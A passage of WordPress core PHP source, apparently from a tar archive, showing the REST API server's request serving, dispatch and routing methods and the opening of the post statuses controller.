			$method_overridden = true;
		}

		$result = $this->check_authentication();

		if ( ! is_wp_error( $result ) ) {
			$result = $this->dispatch( $request );
		}

		// Normalize to either WP_Error or WP_REST_Response...
		$result = rest_ensure_response( $result );

		// ...then convert WP_Error across.
		if ( is_wp_error( $result ) ) {
			$result = $this->error_to_response( $result );
		}

		/**
		 * Filters the API response.
		 *
		 * Allows modification of the response before returning.
		 *
		 * @since 4.4.0
		 * @since 4.5.0 Applied to embedded responses.
		 *
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a WP_REST_Response.
		 * @param WP_REST_Server   $this    Server instance.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );

		// Wrap the response in an envelope if asked for.
		if ( isset( $_GET['_envelope'] ) ) {
			$result = $this->envelope_response( $result, isset( $_GET['_embed'] ) );
		}

		// Send extra data from response objects.
		$headers = $result->get_headers();
		$this->send_headers( $headers );

		$code = $result->get_status();
		$this->set_status( $code );

		/**
		 * Filters whether the request has already been served.
		 *
		 * Allow sending the request manually - by returning true, the API result
		 * will not be sent to the client.
		 *
		 * @since 4.4.0
		 *
		 * @param bool             $served  Whether the request has already been served.
		 *                                           Default false.
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a WP_REST_Response.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 * @param WP_REST_Server   $this    Server instance.
		 */
		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );

		/**
		 * Filters whether to send nocache headers on a REST API request.
		 *
		 * @since 4.4.0
		 * @since 6.x.x Moved the block to catch the filter added on rest_cookie_check_errors() from rest-api.php
		 *
		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
		 */
		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );

		// send no cache headers if the $send_no_cache_headers is true
		// OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
		if ( $send_no_cache_headers || ( true === $method_overridden && strpos( $code, '4' ) === 0 ) ) {
			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
				if ( empty( $header_value ) ) {
					$this->remove_header( $header );
				} else {
					$this->send_header( $header, $header_value );
				}
			}
		}

		if ( ! $served ) {
			if ( 'HEAD' === $request->get_method() ) {
				return null;
			}

			// Embed links inside the request.
			$result = $this->response_to_data( $result, isset( $_GET['_embed'] ) );

			/**
			 * Filters the API response.
			 *
			 * Allows modification of the response data after inserting
			 * embedded data (if any) and before echoing the response data.
			 *
			 * @since 4.8.1
			 *
			 * @param array            $result  Response data to send to the client.
			 * @param WP_REST_Server   $this    Server instance.
			 * @param WP_REST_Request  $request Request used to generate the response.
			 */
			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );

			$result = wp_json_encode( $result );

			$json_error_message = $this->get_json_last_error();
			if ( $json_error_message ) {
				$json_error_obj = new WP_Error( 'rest_encode_error', $json_error_message, array( 'status' => 500 ) );
				$result = $this->error_to_response( $json_error_obj );
				$result = wp_json_encode( $result->data[0] );
			}

			if ( $jsonp_callback ) {
				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
				echo '/**/' . $jsonp_callback . '(' . $result . ')';
			} else {
				echo $result;
			}
		}
		return null;
	}

	/**
	 * Converts a response to data to send.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool             $embed    Whether links should be embedded.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array [$_links]    Links.
	 *     @type array [$_embedded] Embeddeds.
	 * }
	 */
	public function response_to_data( $response, $embed ) {
		$data  = $response->get_data();
		$links = $this->get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			// Convert links to part of the data.
			$data['_links'] = $links;
		}
		if ( $embed ) {
			// Determine if this is a numeric array.
			if ( wp_is_numeric_array( $data ) ) {
				$data = array_map( array( $this, 'embed_links' ), $data );
			} else {
				$data = $this->embed_links( $data );
			}
		}

		return $data;
	}

	/**
	 * Retrieves links from a response.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.4.0
	 * @static
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_response_links( $response ) {
		$links = $response->get_links();
		if ( empty( $links ) ) {
			return array();
		}

		// Convert links to part of the data.
		$data = array();
		foreach ( $links as $rel => $items ) {
			$data[ $rel ] = array();

			foreach ( $items as $item ) {
				$attributes = $item['attributes'];
				$attributes['href'] = $item['href'];
				$data[ $rel ][] = $attributes;
			}
		}

		return $data;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.5.0
	 * @static
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_compact_response_links( $response ) {
		$links = self::get_response_links( $response );

		if ( empty( $links ) ) {
			return array();
		}

		$curies = $response->get_curies();
		$used_curies = array();

		foreach ( $links as $rel => $items ) {

			// Convert $rel URIs to their compact versions if they exist.
			foreach ( $curies as $curie ) {
				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
				if ( strpos( $rel, $href_prefix ) !== 0 ) {
					continue;
				}

				// Relation now changes from '$uri' to '$curie:$relation'.
				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
				preg_match( '!' . $rel_regex . '!', $rel, $matches );
				if ( $matches ) {
					$new_rel = $curie['name'] . ':' . $matches[1];
					$used_curies[ $curie['name'] ] = $curie;
					$links[ $new_rel ] = $items;
					unset( $links[ $rel ] );
					break;
				}
			}
		}

		// Push the curies onto the start of the links array.
		if ( $used_curies ) {
			$links['curies'] = array_values( $used_curies );
		}

		return $links;
	}

	/**
	 * Embeds the links from the data into the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $data Data from the request.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array [$_links]    Links.
	 *     @type array [$_embedded] Embeddeds.
	 * }
	 */
	protected function embed_links( $data ) {
		if ( empty( $data['_links'] ) ) {
			return $data;
		}

		$embedded = array();

		foreach ( $data['_links'] as $rel => $links ) {
			// Ignore links to self, for obvious reasons.
			if ( 'self' === $rel ) {
				continue;
			}

			$embeds = array();

			foreach ( $links as $item ) {
				// Determine if the link is embeddable.
				if ( empty( $item['embeddable'] ) ) {
					// Ensure we keep the same order.
					$embeds[] = array();
					continue;
				}

				// Run through our internal routing and serve.
				$request = WP_REST_Request::from_url( $item['href'] );
				if ( ! $request ) {
					$embeds[] = array();
					continue;
				}

				// Embedded resources get passed context=embed.
				if ( empty( $request['context'] ) ) {
					$request['context'] = 'embed';
				}

				$response = $this->dispatch( $request );

				/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
				$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );

				$embeds[] = $this->response_to_data( $response, false );
			}

			// Determine if any real links were found.
			$has_links = count( array_filter( $embeds ) );

			if ( $has_links ) {
				$embedded[ $rel ] = $embeds;
			}
		}

		if ( ! empty( $embedded ) ) {
			$data['_embedded'] = $embedded;
		}

		return $data;
	}

	/**
	 * Wraps the response in an envelope.
	 *
	 * The enveloping technique is used to work around browser/client
	 * compatibility issues. Essentially, it converts the full HTTP response to
	 * data instead.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool             $embed    Whether links should be embedded.
	 * @return WP_REST_Response New response with wrapped data
	 */
	public function envelope_response( $response, $embed ) {
		$envelope = array(
			'body'    => $this->response_to_data( $response, $embed ),
			'status'  => $response->get_status(),
			'headers' => $response->get_headers(),
		);

		/**
		 * Filters the enveloped form of a response.
		 *
		 * @since 4.4.0
		 *
		 * @param array            $envelope Envelope data.
		 * @param WP_REST_Response $response Original response data.
		 */
		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );

		// Ensure it's still a response and return.
		return rest_ensure_response( $envelope );
	}

	/**
	 * Registers a route to the server.
	 *
	 * @since 4.4.0
	 *
	 * @param string $namespace  Namespace.
	 * @param string $route      The REST route.
	 * @param array  $route_args Route arguments.
	 * @param bool   $override   Optional. Whether the route should be overridden if it already exists.
	 *                           Default false.
	 */
	public function register_route( $namespace, $route, $route_args, $override = false ) {
		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			$this->namespaces[ $namespace ] = array();

			$this->register_route( $namespace, '/' . $namespace, array(
				array(
					'methods' => self::READABLE,
					'callback' => array( $this, 'get_namespace_index' ),
					'args' => array(
						'namespace' => array(
							'default' => $namespace,
						),
						'context' => array(
							'default' => 'view',
						),
					),
				),
			) );
		}

		// Associative to avoid double-registration.
		$this->namespaces[ $namespace ][ $route ] = true;
		$route_args['namespace'] = $namespace;

		if ( $override || empty( $this->endpoints[ $route ] ) ) {
			$this->endpoints[ $route ] = $route_args;
		} else {
			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
		}
	}

	/**
	 * Retrieves the route map.
	 *
	 * The route map is an associative array with path regexes as the keys. The
	 * value is an indexed array with the callback function/method as the first
	 * item, and a bitmask of HTTP methods as the second item (see the class
	 * constants).
	 *
	 * Each route can be mapped to more than one callback by using an array of
	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
	 * and POST requests to another.
	 *
	 * Note that the path regexes (array keys) must have @ escaped, as this is
	 * used as the delimiter with preg_match()
	 *
	 * @since 4.4.0
	 *
	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
	 */
	public function get_routes() {

		/**
		 * Filters the array of available endpoints.
		 *
		 * @since 4.4.0
		 *
		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
		 *                         to an array of callbacks for the endpoint. These take the format
		 *                         `'/path/regex' => array( $callback, $bitmask )` or
		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
		 */
		$endpoints = apply_filters( 'rest_endpoints', $this->endpoints );

		// Normalise the endpoints.
		$defaults = array(
			'methods'       => '',
			'accept_json'   => false,
			'accept_raw'    => false,
			'show_in_index' => true,
			'args'          => array(),
		);

		foreach ( $endpoints as $route => &$handlers ) {

			if ( isset( $handlers['callback'] ) ) {
				// Single endpoint, add one deeper.
				$handlers = array( $handlers );
			}

			if ( ! isset( $this->route_options[ $route ] ) ) {
				$this->route_options[ $route ] = array();
			}

			foreach ( $handlers as $key => &$handler ) {

				if ( ! is_numeric( $key ) ) {
					// Route option, move it to the options.
					$this->route_options[ $route ][ $key ] = $handler;
					unset( $handlers[ $key ] );
					continue;
				}

				$handler = wp_parse_args( $handler, $defaults );

				// Allow comma-separated HTTP methods.
				if ( is_string( $handler['methods'] ) ) {
					$methods = explode( ',', $handler['methods'] );
				} elseif ( is_array( $handler['methods'] ) ) {
					$methods = $handler['methods'];
				} else {
					$methods = array();
				}

				$handler['methods'] = array();

				foreach ( $methods as $method ) {
					$method = strtoupper( trim( $method ) );
					$handler['methods'][ $method ] = true;
				}
			}
		}

		return $endpoints;
	}

	/**
	 * Retrieves namespaces registered on the server.
	 *
	 * @since 4.4.0
	 *
	 * @return array List of registered namespaces.
	 */
	public function get_namespaces() {
		return array_keys( $this->namespaces );
	}

	/**
	 * Retrieves specified options for a route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route pattern to fetch options for.
	 * @return array|null Data as an associative array if found, or null if not found.
	 */
	public function get_route_options( $route ) {
		if ( ! isset( $this->route_options[ $route ] ) ) {
			return null;
		}

		return $this->route_options[ $route ];
	}

	/**
	 * Matches the request to a callback and call it.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request to attempt dispatching.
	 * @return WP_REST_Response Response returned by the callback.
	 */
	public function dispatch( $request ) {
		/**
		 * Filters the pre-calculated result of a REST dispatch request.
		 *
		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
		 * will be used to serve the request instead.
		 *
		 * @since 4.4.0
		 *
		 * @param mixed           $result  Response to replace the requested version with. Can be anything
		 *                                 a normal endpoint can return, or null to not hijack the request.
		 * @param WP_REST_Server  $this    Server instance.
		 * @param WP_REST_Request $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );

		if ( ! empty( $result ) ) {
			return $result;
		}

		$method = $request->get_method();
		$path   = $request->get_route();

		foreach ( $this->get_routes() as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();
			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback  = $handler['callback'];
				$response = null;

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					$response = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid' ), array( 'status' => 500 ) );
				}

				if ( ! is_wp_error( $response ) ) {
					// Remove the redundant preg_match argument.
					unset( $args[0] );

					$request->set_url_params( $args );
					$request->set_attributes( $handler );

					$defaults = array();

					foreach ( $handler['args'] as $arg => $options ) {
						if ( isset( $options['default'] ) ) {
							$defaults[ $arg ] = $options['default'];
						}
					}

					$request->set_default_params( $defaults );

					$check_required = $request->has_valid_params();
					if ( is_wp_error( $check_required ) ) {
						$response = $check_required;
					} else {
						$check_sanitized = $request->sanitize_params();
						if ( is_wp_error( $check_sanitized ) ) {
							$response = $check_sanitized;
						}
					}
				}

				/**
				 * Filters the response before executing any REST API callbacks.
				 *
				 * Allows plugins to perform additional validation after a
				 * request is initialized and matched to a registered route,
				 * but before it is executed.
				 *
				 * Note that this filter will not be called for requests that
				 * fail to authenticate or match to a registered route.
				 *
				 * @since 4.7.0
				 *
				 * @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response.
				 * @param WP_REST_Server   $handler  ResponseHandler instance (usually WP_REST_Server).
				 * @param WP_REST_Request  $request  Request used to generate the response.
				 */
				$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );

				if ( ! is_wp_error( $response ) ) {
					// Check permission specified on the route.
					if ( ! empty( $handler['permission_callback'] ) ) {
						$permission = call_user_func( $handler['permission_callback'], $request );

						if ( is_wp_error( $permission ) ) {
							$response = $permission;
						} elseif ( false === $permission || null === $permission ) {
							$response = new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => rest_authorization_required_code() ) );
						}
					}
				}

				if ( ! is_wp_error( $response ) ) {
					/**
					 * Filters the REST dispatch request result.
					 *
					 * Allow plugins to override dispatching the request.
					 *
					 * @since 4.4.0
					 * @since 4.5.0 Added `$route` and `$handler` parameters.
					 *
					 * @param bool            $dispatch_result Dispatch result, will be used if not empty.
					 * @param WP_REST_Request $request         Request used to generate the response.
					 * @param string          $route           Route matched for the request.
					 * @param array           $handler         Route handler used for the request.
					 */
					$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );

					// Allow plugins to halt the request via this filter.
					if ( null !== $dispatch_result ) {
						$response = $dispatch_result;
					} else {
						$response = call_user_func( $callback, $request );
					}
				}

				/**
				 * Filters the response immediately after executing any REST API
				 * callbacks.
				 *
				 * Allows plugins to perform any needed cleanup, for example,
				 * to undo changes made during the {@see 'rest_request_before_callbacks'}
				 * filter.
				 *
				 * Note that this filter will not be called for requests that
				 * fail to authenticate or match to a registered route.
				 *
				 * Note that an endpoint's `permission_callback` can still be
				 * called after this filter - see `rest_send_allow_header()`.
				 *
				 * @since 4.7.0
				 *
				 * @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response.
				 * @param WP_REST_Server   $handler  ResponseHandler instance (usually WP_REST_Server).
				 * @param WP_REST_Request  $request  Request used to generate the response.
				 */
				$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );

				if ( is_wp_error( $response ) ) {
					$response = $this->error_to_response( $response );
				} else {
					$response = rest_ensure_response( $response );
				}

				$response->set_matched_route( $route );
				$response->set_matched_handler( $handler );

				return $response;
			}
		}

		return $this->error_to_response( new WP_Error( 'rest_no_route', __( 'No route was found matching the URL and request method' ), array( 'status' => 404 ) ) );
	}

	/**
	 * Returns if an error occurred during most recent JSON encode/decode.
	 *
	 * Strings to be translated will be in format like
	 * "Encoding error: Maximum stack depth exceeded".
	 *
	 * @since 4.4.0
	 *
	 * @return bool|string Boolean false or string error message.
	 */
	protected function get_json_last_error() {
		// See https://core.trac.wordpress.org/ticket/27799.
		if ( ! function_exists( 'json_last_error' ) ) {
			return false;
		}

		$last_error_code = json_last_error();

		if ( ( defined( 'JSON_ERROR_NONE' ) && JSON_ERROR_NONE === $last_error_code ) || empty( $last_error_code ) ) {
			return false;
		}

		return json_last_error_msg();
	}

	/**
	 * Retrieves the site index.
	 *
	 * This endpoint describes the capabilities of the site.
	 *
	 * @since 4.4.0
	 *
	 * @param array $request {
	 *     Request.
	 *
	 *     @type string $context Context.
	 * }
	 * @return array Index entity
	 */
	public function get_index( $request ) {
		// General site data.
		$available = array(
			'name'            => get_option( 'blogname' ),
			'description'     => get_option( 'blogdescription' ),
			'url'             => get_option( 'siteurl' ),
			'home'            => home_url(),
			'gmt_offset'      => get_option( 'gmt_offset' ),
			'timezone_string' => get_option( 'timezone_string' ),
			'namespaces'      => array_keys( $this->namespaces ),
			'authentication'  => array(),
			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
		);

		$response = new WP_REST_Response( $available );

		$response->add_link( 'help', 'http://v2.wp-api.org/' );

		/**
		 * Filters the API root index data.
		 *
		 * This contains the data describing the API. This includes information
		 * about supported authentication schemes, supported namespaces, routes
		 * available on the API, and a small amount of data about the site.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 */
		return apply_filters( 'rest_index', $response );
	}

	/**
	 * Retrieves the index for a namespace.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request REST request instance.
	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
	 *                                   WP_Error if the namespace isn't set.
	 */
	public function get_namespace_index( $request ) {
		$namespace = $request['namespace'];

		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
			return new WP_Error( 'rest_invalid_namespace', __( 'The specified namespace could not be found.' ), array( 'status' => 404 ) );
		}

		$routes = $this->namespaces[ $namespace ];
		$endpoints = array_intersect_key( $this->get_routes(), $routes );

		$data = array(
			'namespace' => $namespace,
			'routes' => $this->get_data_for_routes( $endpoints, $request['context'] ),
		);
		$response = rest_ensure_response( $data );

		// Link to the root index.
		$response->add_link( 'up', rest_url( '/' ) );

		/**
		 * Filters the namespace index data.
		 *
		 * This typically is just the route data for the namespace, but you can
		 * add any data you'd like here.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Response $response Response data.
		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
		 */
		return apply_filters( 'rest_namespace_index', $response, $request );
	}

	/**
	 * Retrieves the publicly-visible data for routes.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $routes  Routes to get data for.
	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array Route data to expose in indexes.
	 */
	public function get_data_for_routes( $routes, $context = 'view' ) {
		$available = array();

		// Find the available routes.
		foreach ( $routes as $route => $callbacks ) {
			$data = $this->get_data_for_route( $route, $callbacks, $context );
			if ( empty( $data ) ) {
				continue;
			}

			/**
			 * Filters the REST endpoint data.
			 *
			 * @since 4.4.0
			 *
			 * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter.
			 */
			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
		}

		/**
		 * Filters the publicly-visible data for routes.
		 *
		 * This data is exposed on indexes and can be used by clients or
		 * developers to investigate the site and find out how to use it. It
		 * acts as a form of self-documentation.
		 *
		 * @since 4.4.0
		 *
		 * @param array $available Map of route to route data.
		 * @param array $routes    Internal route data as an associative array.
		 */
		return apply_filters( 'rest_route_data', $available, $routes );
	}

	/**
	 * Retrieves publicly-visible data for the route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route     Route to get data for.
	 * @param array  $callbacks Callbacks to convert to data.
	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
	 * @return array|null Data for the route, or null if no publicly-visible data.
	 */
	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
		$data = array(
			'namespace' => '',
			'methods' => array(),
			'endpoints' => array(),
		);

		if ( isset( $this->route_options[ $route ] ) ) {
			$options = $this->route_options[ $route ];

			if ( isset( $options['namespace'] ) ) {
				$data['namespace'] = $options['namespace'];
			}

			if ( isset( $options['schema'] ) && 'help' === $context ) {
				$data['schema'] = call_user_func( $options['schema'] );
			}
		}

		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );

		foreach ( $callbacks as $callback ) {
			// Skip to the next route if any callback is hidden.
			if ( empty( $callback['show_in_index'] ) ) {
				continue;
			}

			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
			$endpoint_data = array(
				'methods' => array_keys( $callback['methods'] ),
			);

			if ( isset( $callback['args'] ) ) {
				$endpoint_data['args'] = array();
				foreach ( $callback['args'] as $key => $opts ) {
					$arg_data = array(
						'required' => ! empty( $opts['required'] ),
					);
					if ( isset( $opts['default'] ) ) {
						$arg_data['default'] = $opts['default'];
					}
					if ( isset( $opts['enum'] ) ) {
						$arg_data['enum'] = $opts['enum'];
					}
					if ( isset( $opts['description'] ) ) {
						$arg_data['description'] = $opts['description'];
					}
					if ( isset( $opts['type'] ) ) {
						$arg_data['type'] = $opts['type'];
					}
					if ( isset( $opts['items'] ) ) {
						$arg_data['items'] = $opts['items'];
					}
					$endpoint_data['args'][ $key ] = $arg_data;
				}
			}

			$data['endpoints'][] = $endpoint_data;

			// For non-variable routes, generate links.
			if ( strpos( $route, '{' ) === false ) {
				$data['_links'] = array(
					'self' => rest_url( $route ),
				);
			}
		}

		if ( empty( $data['methods'] ) ) {
			// No methods supported, hide the route.
			return null;
		}

		return $data;
	}

	/**
	 * Sends an HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	protected function set_status( $code ) {
		status_header( $code );
	}

	/**
	 * Sends an HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header key.
	 * @param string $value Header value.
	 */
	public function send_header( $key, $value ) {
		/*
		 * Sanitize as per RFC2616 (Section 4.2):
		 *
		 * Any LWS that occurs between field-content MAY be replaced with a
		 * single SP before interpreting the field value or forwarding the
		 * message downstream.
		 */
		$value = preg_replace( '/\s+/', ' ', $value );
		header( sprintf( '%s: %s', $key, $value ) );
	}

	/**
	 * Sends multiple HTTP headers.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function send_headers( $headers ) {
		foreach ( $headers as $key => $value ) {
			$this->send_header( $key, $value );
		}
	}

	/**
	 * Removes an HTTP header from the current response.
	 *
	 * @since 4.8.0
	 *
	 * @param string $key Header key.
	 */
	public function remove_header( $key ) {
		if ( function_exists( 'header_remove' ) ) {
			// In PHP 5.3+ there is a way to remove an already set header.
			header_remove( $key );
		} else {
			// In PHP 5.2, send an empty header, but only as a last resort to
			// override a header already sent.
			foreach ( headers_list() as $header ) {
				if ( 0 === stripos( $header, "$key:" ) ) {
					$this->send_header( $key, '' );
					break;
				}
			}
		}
	}

	/**
	 * Retrieves the raw request entity (body).
	 *
	 * @since 4.4.0
	 *
	 * @global string $HTTP_RAW_POST_DATA Raw post data.
	 *
	 * @return string Raw request data.
	 */
	public static function get_raw_data() {
		global $HTTP_RAW_POST_DATA;

		/*
		 * A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
		 * but we can do it ourself.
		 */
		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
		}

		return $HTTP_RAW_POST_DATA;
	}

	/**
	 * Extracts headers from a PHP-style $_SERVER array.
	 *
	 * @since 4.4.0
	 *
	 * @param array $server Associative array similar to `$_SERVER`.
	 * @return array Headers extracted from the input.
	 */
	public function get_headers( $server ) {
		$headers = array();

		// CONTENT_* headers are not prefixed with HTTP_.
		$additional = array( 'CONTENT_LENGTH' => true, 'CONTENT_MD5' => true, 'CONTENT_TYPE' => true );

		foreach ( $server as $key => $value ) {
			if ( strpos( $key, 'HTTP_' ) === 0 ) {
				$headers[ substr( $key, 5 ) ] = $value;
			} elseif ( isset( $additional[ $key ] ) ) {
				$headers[ $key ] = $value;
			}
		}

		return $headers;
	}
}
endpoints/class-wp-rest-post-statuses-controller.php000066600000022514151114277720017020 0ustar00<?php
/**
 * REST API: WP_REST_Post_Statuses_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access post statuses via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'statuses';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<status>[\w-]+)', array(
			'args' => array(
				'status' => array(
					'description' => __( 'An alphanumeric identifier for the status.' ),
					'type'        => 'string',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );
	}

	/**
	 * Checks whether a given request has permission to read post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}
			return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage post statuses.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Retrieves all post statuses, depending on user context.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();
		$statuses = get_post_stati( array( 'internal' => false ), 'object' );
		$statuses['trash'] = get_post_status_object( 'trash' );

		foreach ( $statuses as $slug => $obj ) {
			$ret = $this->check_read_permission( $obj );

			if ( ! $ret ) {
				continue;
			}

			$status = $this->prepare_item_for_response( $obj, $request );
			$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$status = get_post_status_object( $request['status'] );

		if ( empty( $status ) ) {
			return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) );
		}

		$check = $this->check_read_permission( $status );

		if ( ! $check ) {
			return new WP_Error( 'rest_cannot_read_status', __( 'Cannot view status.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Checks whether a given post status should be visible.
	 *
	 * @since 4.7.0
	 *
	 * @param object $status Post status.
	 * @return bool True if the post status is visible, otherwise false.
	 */
	protected function check_read_permission( $status ) {
		if ( true === $status->public ) {
			return true;
		}

		if ( false === $status->internal || 'trash' === $status->name ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Retrieves a specific post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_status_object( $request['status'] );

		if ( empty( $obj ) ) {
			return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) );
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post status object for serialization.
	 *
	 * @since 4.7.0
	 *
	 * @param stdClass        $status  Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Post status data.
	 */
	public function prepare_item_for_response( $status, $request ) {

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $status->label;
		}

